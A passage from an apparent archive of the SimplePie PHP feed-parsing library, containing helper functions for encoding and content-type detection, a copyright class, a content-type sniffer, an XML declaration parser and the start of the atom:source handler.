        return \SimplePie\SimplePie::CONSTRUCT_TEXT;
    }

    /**
     * @param array<string, array<string, string>> $attribs
     * @return int-mask-of<SimplePie::CONSTRUCT_*>
     */
    public static function atom_10_content_construct_type(array $attribs)
    {
        if (isset($attribs['']['type'])) {
            $type = strtolower(trim($attribs['']['type']));
            switch ($type) {
                case 'text':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT;

                case 'html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML;

                case 'xhtml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML;
            }
            if (in_array(substr($type, -4), ['+xml', '/xml']) || substr($type, 0, 5) === 'text/') {
                return \SimplePie\SimplePie::CONSTRUCT_NONE;
            } else {
                return \SimplePie\SimplePie::CONSTRUCT_BASE64;
            }
        }

        return \SimplePie\SimplePie::CONSTRUCT_TEXT;
    }

    /**
     * @return bool
     */
    public static function is_isegment_nz_nc(string $string)
    {
        return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
    }

    /**
     * @return string[]
     */
    public static function space_separated_tokens(string $string)
    {
        $space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
        $string_length = strlen($string);

        $position = strspn($string, $space_characters);
        $tokens = [];

        while ($position < $string_length) {
            $len = strcspn($string, $space_characters, $position);
            $tokens[] = substr($string, $position, $len);
            $position += $len;
            $position += strspn($string, $space_characters, $position);
        }

        return $tokens;
    }

    /**
     * Converts a unicode codepoint to a UTF-8 character
     *
     * @static
     * @param int $codepoint Unicode codepoint
     * @return string|false UTF-8 character
     */
    public static function codepoint_to_utf8(int $codepoint)
    {
        if ($codepoint < 0) {
            return false;
        } elseif ($codepoint <= 0x7f) {
            return chr($codepoint);
        } elseif ($codepoint <= 0x7ff) {
            return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
        } elseif ($codepoint <= 0xffff) {
            return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
        } elseif ($codepoint <= 0x10ffff) {
            return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
        }

        // U+FFFD REPLACEMENT CHARACTER
        return "\xEF\xBF\xBD";
    }

    /**
     * Similar to parse_str()
     *
     * Returns an associative array of name/value pairs, where the value is an
     * array of values that have used the same name
     *
     * @deprecated since SimplePie 1.9.0. If you need it, consider copying the function to your codebase.
     * @static
     * @param string $str The input string.
     * @return array<string, array<string|null>>
     */
    public static function parse_str(string $str)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);

        $return = [];
        $str = explode('&', $str);

        foreach ($str as $section) {
            if (strpos($section, '=') !== false) {
                [$name, $value] = explode('=', $section, 2);
                $return[urldecode($name)][] = urldecode($value);
            } else {
                $return[urldecode($section)][] = null;
            }
        }

        return $return;
    }

    /**
     * Detect XML encoding, as per XML 1.0 Appendix F.1
     *
     * @todo Add support for EBCDIC
     * @param string $data XML data
     * @param \SimplePie\Registry $registry Class registry
     * @return array<string> Possible encodings
     */
    public static function xml_encoding(string $data, \SimplePie\Registry $registry)
    {
        // UTF-32 Big Endian BOM
        if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
            $encoding[] = 'UTF-32BE';
        }
        // UTF-32 Little Endian BOM
        elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
            $encoding[] = 'UTF-32LE';
        }
        // UTF-16 Big Endian BOM
        elseif (substr($data, 0, 2) === "\xFE\xFF") {
            $encoding[] = 'UTF-16BE';
        }
        // UTF-16 Little Endian BOM
        elseif (substr($data, 0, 2) === "\xFF\xFE") {
            $encoding[] = 'UTF-16LE';
        }
        // UTF-8 BOM
        elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
            $encoding[] = 'UTF-8';
        }
        // UTF-32 Big Endian Without BOM
        elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") {
            if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-32BE';
        }
        // UTF-32 Little Endian Without BOM
        elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") {
            if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-32LE';
        }
        // UTF-16 Big Endian Without BOM
        elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") {
            if ($pos = strpos($data, "\x00\x3F\x00\x3E")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-16BE';
        }
        // UTF-16 Little Endian Without BOM
        elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") {
            if ($pos = strpos($data, "\x3F\x00\x3E\x00")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-16LE';
        }
        // US-ASCII (or superset)
        elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") {
            if ($pos = strpos($data, "\x3F\x3E")) {
                $parser = $registry->create(Parser::class, [substr($data, 5, $pos - 5)]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-8';
        }
        // Fallback to UTF-8
        else {
            $encoding[] = 'UTF-8';
        }
        return $encoding;
    }

    /**
     * @return void
     */
    public static function output_javascript()
    {
        if (function_exists('ob_gzhandler')) {
            ob_start('ob_gzhandler');
        }
        header('Content-type: text/javascript; charset: UTF-8');
        header('Cache-Control: must-revalidate');
        header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days

        $body = <<<JS
function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
	if (placeholder != '') {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
	else {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
}

function embed_flash(bgcolor, width, height, link, loop, type) {
	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
}

function embed_flv(width, height, link, placeholder, loop, player) {
	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
}

function embed_wmedia(width, height, link) {
	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
}
JS;
        echo $body;
    }

    /**
     * Get the SimplePie build timestamp
     *
     * Uses the git index if it exists, otherwise uses the modification time
     * of the newest file.
     *
     * @return int
     */
    public static function get_build()
    {
        if (self::$SIMPLEPIE_BUILD !== null) {
            return self::$SIMPLEPIE_BUILD;
        }

        $root = dirname(__FILE__, 2);
        if (file_exists($root . '/.git/index')) {
            self::$SIMPLEPIE_BUILD = (int) filemtime($root . '/.git/index');

            return self::$SIMPLEPIE_BUILD;
        } elseif (file_exists($root . '/src')) {
            $time = 0;
            foreach (glob($root . '/src/*.php') ?: [] as $file) {
                if (($mtime = filemtime($file)) > $time) {
                    $time = $mtime;
                }
            }

            self::$SIMPLEPIE_BUILD = $time;

            return self::$SIMPLEPIE_BUILD;
        }

        self::$SIMPLEPIE_BUILD = (int) filemtime(__FILE__);

        return self::$SIMPLEPIE_BUILD;
    }

    /**
     * Get the default user agent string
     *
     * @return string
     */
    public static function get_default_useragent()
    {
        return \SimplePie\SimplePie::NAME . '/' . \SimplePie\SimplePie::VERSION . ' (Feed Parser; ' . \SimplePie\SimplePie::URL . '; Allow like Gecko) Build/' . static::get_build();
    }

    /**
     * Format debugging information
     *
     * @return string
     */
    public static function debug(SimplePie &$sp)
    {
        $info = 'SimplePie ' . \SimplePie\SimplePie::VERSION . ' Build ' . static::get_build() . "\n";
        $info .= 'PHP ' . PHP_VERSION . "\n";
        if ($sp->error() !== null) {
            // TODO: Remove cast with multifeeds.
            $info .= 'Error occurred: ' . implode(', ', (array) $sp->error()) . "\n";
        } else {
            $info .= "No error found.\n";
        }
        $info .= "Extensions:\n";
        $extensions = ['pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml'];
        foreach ($extensions as $ext) {
            if (extension_loaded($ext)) {
                $info .= "    $ext loaded\n";
                switch ($ext) {
                    case 'pcre':
                        $info .= '      Version ' . PCRE_VERSION . "\n";
                        break;
                    case 'curl':
                        $version = (array) curl_version();
                        $info .= '      Version ' . $version['version'] . "\n";
                        break;
                    case 'iconv':
                        $info .= '      Version ' . ICONV_VERSION . "\n";
                        break;
                    case 'xml':
                        $info .= '      Version ' . LIBXML_DOTTED_VERSION . "\n";
                        break;
                }
            } else {
                $info .= "    $ext not loaded\n";
            }
        }
        return $info;
    }

    /**
     * @return bool
     */
    public static function silence_errors(int $num, string $str)
    {
        // No-op
        return true;
    }

    /**
     * Sanitize a URL by removing HTTP credentials.
     * @param string $url the URL to sanitize.
     * @return string the same URL without HTTP credentials.
     */
    public static function url_remove_credentials(string $url)
    {
        // Cast for PHPStan: I do not think this can fail.
        // The regex is valid and there should be no backtracking.
        // https://github.com/phpstan/phpstan/issues/11547
        return (string) preg_replace('#^(https?://)[^/:@]+:[^/:@]+@#i', '$1', $url);
    }
}

class_alias('SimplePie\Misc', 'SimplePie_Misc', false);
Copyright.php000064400000003262152222652070007233 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Manages `<media:copyright>` copyright tags as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_copyright()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_copyright_class()}
 */
class Copyright
{
    /**
     * Copyright URL
     *
     * @var ?string
     * @see get_url()
     */
    public $url;

    /**
     * Attribution
     *
     * @var ?string
     * @see get_attribution()
     */
    public $label;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct(
        ?string $url = null,
        ?string $label = null
    ) {
        $this->url = $url;
        $this->label = $label;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the copyright URL
     *
     * @return string|null URL to copyright information
     */
    public function get_url()
    {
        if ($this->url !== null) {
            return $this->url;
        }

        return null;
    }

    /**
     * Get the attribution text
     *
     * @return string|null
     */
    public function get_attribution()
    {
        if ($this->label !== null) {
            return $this->label;
        }

        return null;
    }
}

class_alias('SimplePie\Copyright', 'SimplePie_Copyright');
Content/.htaccess000064400000000000152222652070007745 0ustar00Content/Type/Sniffer.php000064400000016736152222652070011224 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Content\Type;

use InvalidArgumentException;
use SimplePie\File;
use SimplePie\HTTP\Response;

/**
 * Content-type sniffing
 *
 * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
 *
 * This is used since we can't always trust Content-Type headers, and is based
 * upon the HTML5 parsing rules.
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_content_type_sniffer_class()}
 */
class Sniffer
{
    /**
     * File object
     *
     * @var File|Response
     */
    public $file;

    /**
     * Create an instance of the class with the input file
     *
     * @param File|Response $file Input file
     */
    public function __construct(/* File */ $file)
    {
        if (!is_object($file) || !$file instanceof Response) {
            // For BC we're asking for `File`, but internally we accept every `Response` implementation
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($file) must be of type %s',
                __METHOD__,
                File::class
            ), 1);
        }

        $this->file = $file;
    }

    /**
     * Get the Content-Type of the specified file
     *
     * @return string Actual Content-Type
     */
    public function get_type()
    {
        $content_type = $this->file->has_header('content-type') ? $this->file->get_header_line('content-type') : null;
        $content_encoding = $this->file->has_header('content-encoding') ? $this->file->get_header_line('content-encoding') : null;
        if ($content_type !== null) {
            if ($content_encoding === null
                && ($content_type === 'text/plain'
                    || $content_type === 'text/plain; charset=ISO-8859-1'
                    || $content_type === 'text/plain; charset=iso-8859-1'
                    || $content_type === 'text/plain; charset=UTF-8')) {
                return $this->text_or_binary();
            }

            if (($pos = strpos($content_type, ';')) !== false) {
                $official = substr($content_type, 0, $pos);
            } else {
                $official = $content_type;
            }
            $official = trim(strtolower($official));

            if ($official === 'unknown/unknown'
                || $official === 'application/unknown') {
                return $this->unknown();
            } elseif (substr($official, -4) === '+xml'
                || $official === 'text/xml'
                || $official === 'application/xml') {
                return $official;
            } elseif (substr($official, 0, 6) === 'image/') {
                if ($return = $this->image()) {
                    return $return;
                }

                return $official;
            } elseif ($official === 'text/html') {
                return $this->feed_or_html();
            }

            return $official;
        }

        return $this->unknown();
    }

    /**
     * Sniff text or binary
     *
     * @return string Actual Content-Type
     */
    public function text_or_binary()
    {
        $body = $this->file->get_body_content();

        if (substr($body, 0, 2) === "\xFE\xFF"
            || substr($body, 0, 2) === "\xFF\xFE"
            || substr($body, 0, 4) === "\x00\x00\xFE\xFF"
            || substr($body, 0, 3) === "\xEF\xBB\xBF") {
            return 'text/plain';
        } elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $body)) {
            return 'application/octet-stream';
        }

        return 'text/plain';
    }

    /**
     * Sniff unknown
     *
     * @return string Actual Content-Type
     */
    public function unknown()
    {
        $body = $this->file->get_body_content();

        $ws = strspn($body, "\x09\x0A\x0B\x0C\x0D\x20");
        if (strtolower(substr($body, $ws, 14)) === '<!doctype html'
            || strtolower(substr($body, $ws, 5)) === '<html'
            || strtolower(substr($body, $ws, 7)) === '<script') {
            return 'text/html';
        } elseif (substr($body, 0, 5) === '%PDF-') {
            return 'application/pdf';
        } elseif (substr($body, 0, 11) === '%!PS-Adobe-') {
            return 'application/postscript';
        } elseif (substr($body, 0, 6) === 'GIF87a'
            || substr($body, 0, 6) === 'GIF89a') {
            return 'image/gif';
        } elseif (substr($body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
            return 'image/png';
        } elseif (substr($body, 0, 3) === "\xFF\xD8\xFF") {
            return 'image/jpeg';
        } elseif (substr($body, 0, 2) === "\x42\x4D") {
            return 'image/bmp';
        } elseif (substr($body, 0, 4) === "\x00\x00\x01\x00") {
            return 'image/vnd.microsoft.icon';
        }

        return $this->text_or_binary();
    }

    /**
     * Sniff images
     *
     * @return string|false Actual Content-Type
     */
    public function image()
    {
        $body = $this->file->get_body_content();

        if (substr($body, 0, 6) === 'GIF87a'
            || substr($body, 0, 6) === 'GIF89a') {
            return 'image/gif';
        } elseif (substr($body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
            return 'image/png';
        } elseif (substr($body, 0, 3) === "\xFF\xD8\xFF") {
            return 'image/jpeg';
        } elseif (substr($body, 0, 2) === "\x42\x4D") {
            return 'image/bmp';
        } elseif (substr($body, 0, 4) === "\x00\x00\x01\x00") {
            return 'image/vnd.microsoft.icon';
        }

        return false;
    }

    /**
     * Sniff HTML
     *
     * @return string Actual Content-Type
     */
    public function feed_or_html()
    {
        $body = $this->file->get_body_content();

        $len = strlen($body);
        $pos = strspn($body, "\x09\x0A\x0D\x20\xEF\xBB\xBF");

        while ($pos < $len) {
            switch ($body[$pos]) {
                case "\x09":
                case "\x0A":
                case "\x0D":
                case "\x20":
                    $pos += strspn($body, "\x09\x0A\x0D\x20", $pos);
                    continue 2;

                case '<':
                    $pos++;
                    break;

                default:
                    return 'text/html';
            }

            if (substr($body, $pos, 3) === '!--') {
                $pos += 3;
                if ($pos < $len && ($pos = strpos($body, '-->', $pos)) !== false) {
                    $pos += 3;
                } else {
                    return 'text/html';
                }
            } elseif (substr($body, $pos, 1) === '!') {
                if ($pos < $len && ($pos = strpos($body, '>', $pos)) !== false) {
                    $pos++;
                } else {
                    return 'text/html';
                }
            } elseif (substr($body, $pos, 1) === '?') {
                if ($pos < $len && ($pos = strpos($body, '?>', $pos)) !== false) {
                    $pos += 2;
                } else {
                    return 'text/html';
                }
            } elseif (substr($body, $pos, 3) === 'rss'
                || substr($body, $pos, 7) === 'rdf:RDF') {
                return 'application/rss+xml';
            } elseif (substr($body, $pos, 4) === 'feed') {
                return 'application/atom+xml';
            } else {
                return 'text/html';
            }
        }

        return 'text/html';
    }
}

class_alias('SimplePie\Content\Type\Sniffer', 'SimplePie_Content_Type_Sniffer');
Content/Type/.htaccess000064400000000000152222652070010666 0ustar00XML/.htaccess000064400000000000152222652070006773 0ustar00XML/Declaration/Parser.php000064400000017100152222652070011400 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\XML\Declaration;

/**
 * Parses the XML Declaration
 */
class Parser
{
    /**
     * XML Version
     *
     * @access public
     * @var string
     */
    public $version = '1.0';

    /**
     * Encoding
     *
     * @access public
     * @var string
     */
    public $encoding = 'UTF-8';

    /**
     * Standalone
     *
     * @access public
     * @var bool
     */
    public $standalone = false;

    private const STATE_BEFORE_VERSION_NAME = 'before_version_name';

    private const STATE_VERSION_NAME = 'version_name';

    private const STATE_VERSION_EQUALS = 'version_equals';

    private const STATE_VERSION_VALUE = 'version_value';

    private const STATE_ENCODING_NAME = 'encoding_name';

    private const STATE_EMIT = 'emit';

    private const STATE_ENCODING_EQUALS = 'encoding_equals';

    private const STATE_STANDALONE_NAME = 'standalone_name';

    private const STATE_ENCODING_VALUE = 'encoding_value';

    private const STATE_STANDALONE_EQUALS = 'standalone_equals';

    private const STATE_STANDALONE_VALUE = 'standalone_value';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @access private
     * @var self::STATE_*
     */
    public $state = self::STATE_BEFORE_VERSION_NAME;

    /**
     * Input data
     *
     * @access private
     * @var string
     */
    public $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @access private
     * @var int
     */
    public $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     * @access private
     */
    public $position = 0;

    /**
     * Create an instance of the class with the input data
     *
     * @access public
     * @param string $data Input data
     */
    public function __construct(string $data)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
    }

    /**
     * Parse the input data
     *
     * @access public
     * @return bool true on success, false on failure
     */
    public function parse(): bool
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT) {
            return true;
        }

        // Reset the parser state.
        $this->version = '1.0';
        $this->encoding = 'UTF-8';
        $this->standalone = false;
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @access private
     * @return bool true if there is further data, false if not
     */
    public function has_data(): bool
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * Advance past any whitespace
     *
     * @return int Number of whitespace characters passed
     */
    public function skip_whitespace()
    {
        $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
        $this->position += $whitespace;
        return $whitespace;
    }

    /**
     * Read value
     *
     * @return string|false
     */
    public function get_value()
    {
        $quote = substr($this->data, $this->position, 1);
        if ($quote === '"' || $quote === "'") {
            $this->position++;
            $len = strcspn($this->data, $quote, $this->position);
            if ($this->has_data()) {
                $value = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                return $value;
            }
        }
        return false;
    }

    public function before_version_name(): void
    {
        if ($this->skip_whitespace()) {
            $this->state = self::STATE_VERSION_NAME;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_name(): void
    {
        if (substr($this->data, $this->position, 7) === 'version') {
            $this->position += 7;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_equals(): void
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_value(): void
    {
        if ($version = $this->get_value()) {
            $this->version = $version;
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ENCODING_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_name(): void
    {
        if (substr($this->data, $this->position, 8) === 'encoding') {
            $this->position += 8;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_EQUALS;
        } else {
            $this->state = self::STATE_STANDALONE_NAME;
        }
    }

    public function encoding_equals(): void
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_value(): void
    {
        if ($encoding = $this->get_value()) {
            $this->encoding = $encoding;
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_STANDALONE_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_name(): void
    {
        if (substr($this->data, $this->position, 10) === 'standalone') {
            $this->position += 10;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_equals(): void
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_value(): void
    {
        if ($standalone = $this->get_value()) {
            switch ($standalone) {
                case 'yes':
                    $this->standalone = true;
                    break;

                case 'no':
                    $this->standalone = false;
                    break;

                default:
                    $this->state = self::STATE_ERROR;
                    return;
            }

            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ERROR;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }
}

class_alias('SimplePie\XML\Declaration\Parser', 'SimplePie_XML_Declaration_Parser');
XML/Declaration/.htaccess000064400000000000152222652070011220 0ustar00Source.php000064400000056272152222652070006534 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<atom:source>`
 *
 * Used by {@see \SimplePie\Item::get_source()}
 *
 * This class can be overloaded with {@see \SimplePie::set_source_class()}
 */
class Source implements RegistryAware
{
    /** @var Item */
    public $item;
    /** @var array<string, mixed> */
    public $data = [];
    /** @var Registry */
    protected $registry;

    /**
     * @param array<string, mixed> $data
     */
    public function __construct(Item $item, array $data)
    {
        $this->item = $item;
        $this->data = $data;
    }

    /**
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * @return string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * @param string $namespace
     * @param string $tag
     * @return array<array<string, mixed>>|null
     */
    public function get_source_tags(string $namespace, string $tag)
    {
        if (isset($this->data['child'][$namespace][$tag])) {
            return $this->data['child'][$namespace][$tag];
        }

        return null;
    }

    /**
     * @param array<string, mixed> $element
     * @return string
     */
    public function get_base(array $element = [])
    {
        return $this->item->get_base($element);
    }

    /**
     * @param string $data
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @param string $base
     * @return string
     */
    public function sanitize(string $data, $type, string $base = '')
    {
        return $this->item->sanitize($data, $type, $base);
    }

    /**
     * @return Item
     */
    public function get_item()
    {
        return $this->item;
    }

    /**
     * @return string|null
     */
    public function get_title()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * @param int $key
     * @return Category|null
     */
    public function get_category(int $key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * @return array<Category>|null
     */
    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'category') as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'category') as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'subject') as $category) {
